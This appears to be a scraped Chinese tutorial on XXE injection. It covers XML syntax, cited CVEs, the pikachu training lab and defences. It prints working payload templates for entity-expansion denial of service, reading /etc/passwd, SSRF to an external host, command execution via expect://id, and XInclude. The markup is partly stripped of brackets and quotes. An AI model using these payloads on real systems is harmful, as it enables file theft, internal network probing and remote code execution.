做电销哪些网站可以找到客户端,网站推广优化淄博公司,科技网站建设 长沙,柳州网站建设221.xxe漏洞介绍
XXE#xff08;XML External Entity Injection#xff09;是一种攻击技术#xff0c;它允许攻击者注入恶意的外部实体到XML文档中。如果应用程序处理XML输入时未正确配置#xff0c;攻击者可以利用这个漏洞访问受影响系统上的敏感文件、执行远程代码、探测内…1.xxe漏洞介绍
XXEXML External Entity Injection是一种攻击技术它允许攻击者注入恶意的外部实体到XML文档中。如果应用程序处理XML输入时未正确配置攻击者可以利用这个漏洞访问受影响系统上的敏感文件、执行远程代码、探测内网端口、攻击内网网站等后果。XXE漏洞通常发生在解析XML数据时没有禁用外部实体的加载。外部实体可以指向一个远程文件如果没有适当的控制攻击者可以利用这一点来获取敏感信息或执行攻击。
w3school 在线教程
1.1 xxe基本格式 ?xml version1.0 encodingUTF-8 standaloneyes?!--xml文件的声明--
bookstore !--根元素--
book categoryCOOKING !--bookstore的子元素category为属性--
titleEveryday Italian/title !--book的子元素lang为属性--
authorGiada De Laurentiis/author !--book的子元素--
year2005/year !--book的子元素--
price30.00/price !--book的子元素--
/book !--book的结束--
/bookstore !--bookstore的结束-- ?xml version1.0 encodingUTF-8 standaloneyes? 称为 XML prolog 用于声明XML文档的版本和编码是可选的必须放在文档开头。 standalone值是yes的时候表示DTD仅用于验证文档结构从而外部实体将被禁用但它的默认值是no而且有些parser会直接忽略这一项。
1.2 xee基本语法
1所有 XML 元素都须有关闭标签。
2XML 标签对大小写敏感。
3XML 必须正确地嵌套。
4XML 文档必须有根元素。
5XML 的属性值须加引号。
若多个字符都需要转义则可以将这些内容存放到CDATA里面 2.xxe漏洞存在
2.1 xxe存在的版本
在php里面解析xml用的时libxml其在≥2.9.0的版本中默认是禁止解析xml外部实体内容的。
OpenCMSOpenCMS是一款功能强大的开源Web内容管理系统。在OpenCMS 9.0.0至10.5.0的版本中存在一个XXE漏洞CVE-2023-42344。这个漏洞允许未经身份验证的远程威胁者发送带有XXE Payload的恶意HTTP POST请求可能导致任意文件读取、命令执行等危害。受影响的用户应升级到OpenCMS 10.5.1或更高版本来修复这个漏洞。
Apache AmbariApache Ambari是一个用于配置、管理和监控Apache Hadoop集群的工具。在Apache Ambari 2.7.8之前的版本中存在XXE注入漏洞CVE-2023-50380。由于DocumentBuilderFactory实例未正确配置以禁用外部实体低权限攻击者可以通过提交恶意XML文档来读取服务器上的任意文件以及提升权限等。建议将Ambari升级至2.7.8及以上版本来修复这个漏洞。
2.2 xxe存在的位置
MIME类型为XML 3.攻击方式
3.1 拒绝服务攻击 !DOCTYPE data [
!ELEMENT data (#ANY)
!ENTITY a0 dos
!ENTITY a1 a0;a0;a0;a0;a0;
!ENTITY a2 a1;a1;a1;a1;a1;
]
dataa2;/data若解析过程非常缓慢则表示测试成功目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归也可引用巨大的外部实体以实现攻击的效果。
3.2 文件读取 ?xml version1.0?
!DOCTYPE data [
!ELEMENT data (#ANY)
!ENTITY file SYSTEM file:///etc/passwd]
datafile;/data上面的file:///etc/passwd这是直接读取服务器的passwd文件内容。最后XML部分就是调用DTD的foo功能也就是调用xxe取出数据然后显示基本上任何xxe的攻击代码都是这么几部分。
3.3 SSRF ?xml version1.0?
!DOCTYPE data SYSTEM http://publicServer.com/ [
!ELEMENT data (#ANY)
]
data4/data3.4 RCE ?xml version1.0?
!DOCTYPE GVI [ !ELEMENT foo ANY
!ENTITY xxe SYSTEM expect://id ]
catalogcore idtest101descriptionxxe;/description/core
/catalog3.5 XInclude ?xml version1.0?
data xmlns:xihttp://www.w3.org/2001/XIncludexi:include hrefhttp://publicServer.com/file.xml/xi:include/data 4.xxe漏洞利用
使用xxe漏洞读取计算机根目录文件根目录下有1.txt文件 替换根目录文件所在地址形成xml 在pikachu中xxe漏洞输入框输入xml地址读取任意文件 未知攻焉知防——XXE漏洞攻防 - 博客 - 腾讯安全应急响应中心
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区
5.xxe漏洞防御
1使用开发语言提供的禁用外部实体的方法 PHPlibxml_disable_entity_loader(true); 其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
2过滤用户提交的XML数据 关键词SYSTEM、PUBLIC、DOCTYPE、!ENTITY
3升级版本